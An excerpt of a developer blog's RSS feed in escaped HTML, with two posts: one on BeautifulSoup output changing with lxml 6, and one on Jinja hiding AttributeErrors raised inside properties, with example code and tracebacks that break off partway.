&lt;h1&gt;BeautifulSoup and lxml&lt;a class="headerlink" href="#beautifulsoup-and-lxml" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Friday, July 4, 2025&lt;/p&gt;
&lt;p&gt;When you build a BeautifulSoup from a plain text, that text was getting wrapped
into a &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;&amp;lt;p&amp;gt;&lt;/span&gt;&lt;/code&gt; tag when the installed lxml version is earlier than 6, but isn’t
any more with the new version of lxml.&lt;/p&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;bs4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;BeautifulSoup&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;soup&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;BeautifulSoup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Foo&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;lxml&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The following snippet passes with &lt;strong&gt;lxml before 6&lt;/strong&gt; …&lt;/p&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;soup&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;# lxml&amp;lt;6&lt;/span&gt;
&lt;span class="go"&gt;&amp;lt;html&amp;gt;&amp;lt;body&amp;gt;&amp;lt;p&amp;gt;Foo&amp;lt;/p&amp;gt;&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;… but &lt;strong&gt;after lxml 6&lt;/strong&gt; the output changes:&lt;/p&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;soup&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;# lxml&amp;gt;=6&lt;/span&gt;
&lt;span class="go"&gt;&amp;lt;html&amp;gt;&amp;lt;body&amp;gt;Foo&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;This is surprising because the behaviour of lxml itself hasn’t changed. The
following snippet passes with both versions of lxml:&lt;/p&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;lxml&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;etree&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;etree&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;fromstring&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Foo&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="gt"&gt;Traceback (most recent call last):&lt;/span&gt;
&lt;span class="c"&gt;...&lt;/span&gt;
&lt;span class="gr"&gt;lxml.etree.XMLSyntaxError&lt;/span&gt;: &lt;span class="n"&gt;Start tag expected, &amp;#39;&amp;lt;&amp;#39; not found, line 1, column 1&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;How can the behaviour of BeautifulSoup change with the lxml version when the
behaviour of lxml itself does &lt;em&gt;not&lt;/em&gt; change? The answer seems to be hidden
somewhere in the deep waters of the BeautifulSoup source code. I didn’t
understand it fully. But here are some more observations (they all pass with
&lt;em&gt;both&lt;/em&gt; lxml versions):&lt;/p&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;etree&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;fromstring&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="gt"&gt;Traceback (most recent call last):&lt;/span&gt;
&lt;span class="c"&gt;...&lt;/span&gt;
&lt;span class="gr"&gt;lxml.etree.XMLSyntaxError&lt;/span&gt;: &lt;span class="n"&gt;Document is empty, line 1, column 1&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;pprint&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;pprint&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;bs4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;builder_registry&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;pprint&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;builder_registry&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;builders_for_feature&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;defaultdict(&amp;lt;class &amp;#39;list&amp;#39;&amp;gt;,&lt;/span&gt;
&lt;span class="go"&gt;            {&amp;#39;fast&amp;#39;: [&amp;lt;class &amp;#39;bs4.builder._lxml.LXMLTreeBuilder&amp;#39;&amp;gt;,&lt;/span&gt;
&lt;span class="go"&gt;                      &amp;lt;class &amp;#39;bs4.builder._lxml.LXMLTreeBuilderForXML&amp;#39;&amp;gt;],&lt;/span&gt;
&lt;span class="go"&gt;             &amp;#39;html&amp;#39;: [&amp;lt;class &amp;#39;bs4.builder._lxml.LXMLTreeBuilder&amp;#39;&amp;gt;,&lt;/span&gt;
&lt;span class="go"&gt;                      &amp;lt;class &amp;#39;bs4.builder._htmlparser.HTMLParserTreeBuilder&amp;#39;&amp;gt;],&lt;/span&gt;
&lt;span class="go"&gt;             &amp;#39;html.parser&amp;#39;: [&amp;lt;class &amp;#39;bs4.builder._htmlparser.HTMLParserTreeBuilder&amp;#39;&amp;gt;],&lt;/span&gt;
&lt;span class="go"&gt;             &amp;#39;lxml&amp;#39;: [&amp;lt;class &amp;#39;bs4.builder._lxml.LXMLTreeBuilder&amp;#39;&amp;gt;,&lt;/span&gt;
&lt;span class="go"&gt;                      &amp;lt;class &amp;#39;bs4.builder._lxml.LXMLTreeBuilderForXML&amp;#39;&amp;gt;],&lt;/span&gt;
&lt;span class="go"&gt;             &amp;#39;lxml-html&amp;#39;: [&amp;lt;class &amp;#39;bs4.builder._lxml.LXMLTreeBuilder&amp;#39;&amp;gt;],&lt;/span&gt;
&lt;span class="go"&gt;             &amp;#39;lxml-xml&amp;#39;: [&amp;lt;class &amp;#39;bs4.builder._lxml.LXMLTreeBuilderForXML&amp;#39;&amp;gt;],&lt;/span&gt;
&lt;span class="go"&gt;             &amp;#39;permissive&amp;#39;: [&amp;lt;class &amp;#39;bs4.builder._lxml.LXMLTreeBuilder&amp;#39;&amp;gt;,&lt;/span&gt;
&lt;span class="go"&gt;                            &amp;lt;class &amp;#39;bs4.builder._lxml.LXMLTreeBuilderForXML&amp;#39;&amp;gt;],&lt;/span&gt;
&lt;span class="go"&gt;             &amp;#39;strict&amp;#39;: [&amp;lt;class &amp;#39;bs4.builder._htmlparser.HTMLParserTreeBuilder&amp;#39;&amp;gt;],&lt;/span&gt;
&lt;span class="go"&gt;             &amp;#39;xml&amp;#39;: [&amp;lt;class &amp;#39;bs4.builder._lxml.LXMLTreeBuilderForXML&amp;#39;&amp;gt;]})&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;soup&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;builder&lt;/span&gt;
&lt;span class="go"&gt;&amp;lt;bs4.builder._lxml.LXMLTreeBuilder object at ...&amp;gt;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;soup&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;builder&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;test_fragment_to_document&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Foo&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="go"&gt;&amp;lt;html&amp;gt;&amp;lt;body&amp;gt;Foo&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2025/0704.html</guid><pubDate>Fri, 04 Jul 2025 00:00:00 +0000</pubDate></item><item><title>Thursday, June 26, 2025</title><link>https://luc.lino-framework.org/blog/2025/0626.html</link><description>&lt;section id="thursday-june-26-2025"&gt;
&lt;h1&gt;Thursday, June 26, 2025&lt;a class="headerlink" href="#thursday-june-26-2025" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I was wondering… yes there is a pitfall when using Jinja. When your class
defines a property, and when, while computing this property, it raises an
&lt;cite&gt;AttributeError&lt;/cite&gt;, then Jinja catches this exception and reports that your object
doesn’t have the requested property instead of showing the full traceback.&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;jinja2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Environment&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;DictLoader&lt;/span&gt;

&lt;span class="n"&gt;A&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;False&lt;/span&gt;
&lt;span class="n"&gt;B&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;True&lt;/span&gt;


&lt;span class="k"&gt;class&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;Foo&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;

    &lt;span class="n"&gt;_bar&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt;

    &lt;span class="nd"&gt;@property&lt;/span&gt;
    &lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;bar&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_bar&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_bar&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Answer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_bar&lt;/span&gt;


&lt;span class="k"&gt;class&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;Answer&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;

    &lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="fm"&gt;__init__&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;foo&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;A&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="ne"&gt;Exception&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Oops&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;elif&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="ne"&gt;AttributeError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Oops&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;answer&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;42&lt;/span&gt;


&lt;span class="n"&gt;TEMPLATE&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;The answer is {{foo.bar.answer}}.&amp;quot;&lt;/span&gt;


&lt;span class="n"&gt;env&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Environment&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="n"&gt;loader&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;DictLoader&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;1&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;TEMPLATE&lt;/span&gt;&lt;span class="p"&gt;}),&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;tpl&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;env&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_template&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;1&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tpl&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;render&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;foo&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;Foo&lt;/span&gt;&lt;span class="p"&gt;()))&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Output when there’s no bug:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;The&lt;/span&gt; &lt;span class="n"&gt;answer&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="mf"&gt;42.&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Output with exception of type A:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;Traceback&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;most&lt;/span&gt; &lt;span class="n"&gt;recent&lt;/span&gt; &lt;span class="n"&gt;call&lt;/span&gt; &lt;span class="n"&gt;last&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/home/luc/work/blog/docs/blog/2025/0626.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;35&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;module&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tpl&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;render&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;foo&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;Foo&lt;/span&gt;&lt;span class="p"&gt;()))&lt;/span&gt;
          &lt;span class="o"&gt;^^^^^^^^^^^^^^^^^^^^^&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/home/luc/venvs/dev/lib/python3.12/site-packages/jinja2/environment.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;1295&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;render&lt;/span&gt;
    &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;environment&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;handle_exception&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/home/luc/venvs/dev/lib/python3.12/site-packages/jinja2/environment.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;942&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;handle_exception&lt;/span&gt;
    &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="n"&gt;rewrite_traceback_stack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;source&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;source&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&amp;lt;template&amp;gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;top&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;level&lt;/span&gt; &lt;span class="n"&gt;template&lt;/span&gt; &lt;span class="n"&gt;code&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/home/luc/venvs/dev/lib/python3.12/site-packages/jinja2/environment.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;490&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;getattr&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nb"&gt;getattr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;attribute&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
           &lt;span class="o"&gt;^^^^^^^^^^^^^^^^^^^^^^^&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/home/luc/work/blog/docs/blog/2025/0626.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;14&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;bar&lt;/span&gt;
    &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_bar&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Answer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
                &lt;span class="o"&gt;^^^^^^^^^^^^&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/home/luc/work/blog/docs/blog/2025/0626.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;22&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="fm"&gt;__init__&lt;/span&gt;
    &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="ne"&gt;Exception&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Oops&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="ne"&gt;Exception&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Oops&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Output with exception of type B:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;Traceback&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;most&lt;/span&gt; &lt;span class="n"&gt;recent&lt;/span&gt; &lt;span class="n"&gt;call&lt;/span&gt; &lt;span class="n"&gt;last&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/home/luc/work/blog/docs/blog/2025/0626.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;35&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;module&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tpl&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;render&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;foo&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;Foo&lt;/span&gt;&lt;span class="p"&gt;()))&lt;/span&gt;
          &lt;span class="o"&gt;^^^^^^^^^^^^^^^^^^^^^&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/home/luc/venvs/dev/lib/python3.12/site-packages/jinja2/environment.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;1295&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;render&lt;/span&gt;
    &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;environment&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;handle_exception&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/home/luc/venvs/dev/lib/python3.12/site-packages/jinja2/environment.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;942&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;handle_exception&lt;/span&gt;
    &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="n"&gt;rewrite_traceback_stack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;source&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;source&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&amp;lt;template&amp;gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;top&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;level&lt;/span&gt; &lt;span class="n"&gt;template&lt;/span&gt; &lt;span class="n"&gt;code&lt;/span&gt;
